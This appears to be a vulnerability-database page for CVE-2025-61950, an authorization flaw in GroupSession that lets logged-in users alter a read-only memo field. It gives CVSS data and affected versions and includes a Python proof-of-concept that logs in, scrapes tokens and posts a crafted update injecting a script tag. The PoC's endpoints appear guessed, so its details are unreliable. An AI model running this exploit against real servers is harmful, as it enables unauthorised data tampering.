Security Vulnerability Report
中文
CVE-2025-61950 CVSS 4.3 MEDIUM

CVE-2025-61950

Published: 2025-12-12 05:16:08
Last Modified: 2026-02-17 15:43:09

Description

In GroupSession, a Circular notice can be created with its memo field non-editable, but the authorization check is improperly implemented. With some crafted request, a logged-in user may alter the memo field. The affected products and versions are GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:* - VULNERABLE
cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:* - VULNERABLE
cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:* - VULNERABLE
GroupSession Free < 5.3.0
GroupSession byCloud < 5.3.3
GroupSession ZION < 5.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-61950 PoC - GroupSession Authorization Bypass # Target: GroupSession Circular Notice memo field modification TARGET_URL = "http://target-groupsession.com/" LOGIN_URL = TARGET_URL + "gsession/common/cmn001.do" NOTICE_URL = TARGET_URL + "gsession/circular/" session = requests.Session() def login(username, password): """Authenticate to GroupSession""" login_data = { "usrUid": username, "usrPsw": password } response = session.post(LOGIN_URL, data=login_data) return "login" not in response.url.lower() def exploit_memo_field_bypass(notice_id, malicious_memo): """ Exploit the authorization bypass in circular notice memo field Args: notice_id: ID of the circular notice to modify malicious_memo: Malicious content to inject into memo field Returns: bool: True if exploitation appears successful """ # Step 1: Retrieve the original notice (memo field appears readonly) get_url = NOTICE_URL + "circular.do?cmd=viewDetail&cngSid=" + notice_id response = session.get(get_url) # Step 2: Extract necessary session tokens and parameters token_match = re.search(r'name="[\w]+token[\w]*"\s+value="([^"]+)"', response.text) sid_match = re.search(r'name="sid"\s+value="([^"]+)"', response.text) if not token_match or not sid_match: print("[-] Failed to extract required parameters") return False token = token_match.group(1) sid = sid_match.group(1) # Step 3: Craft malicious request to modify memo field # The memo field should be protected but authorization check is improper update_data = { "cmd": "update", "sid": sid, "cngSid": notice_id, "memo": malicious_memo, # Bypassing readonly protection "token": token } # Step 4: Send the crafted request update_url = NOTICE_URL + "circular.do" response = session.post(update_url, data=update_data) # Step 5: Verify if memo was modified verify_response = session.get(get_url) if malicious_memo in verify_response.text: print("[+] Successfully modified memo field!") return True else: print("[-] Exploitation failed or memo not modified") return False if __name__ == "__main__": # Configuration USERNAME = "regular_user" PASSWORD = "user_password" NOTICE_ID = "12345" # Target notice ID MALICIOUS_MEMO = "<script>alert('XSS')</script>" # Injected content # Execute exploitation if login(USERNAME, PASSWORD): print("[*] Login successful") exploit_memo_field_bypass(NOTICE_ID, MALICIOUS_MEMO) else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61950", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.583", "lastModified": "2026-02-17T15:43:09.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GroupSession, a Circular notice can be created with its memo field non-editable, but the authorization check is improperly implemented. With some crafted request, a logged-in user may alter the memo field. The affected products and versions are GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}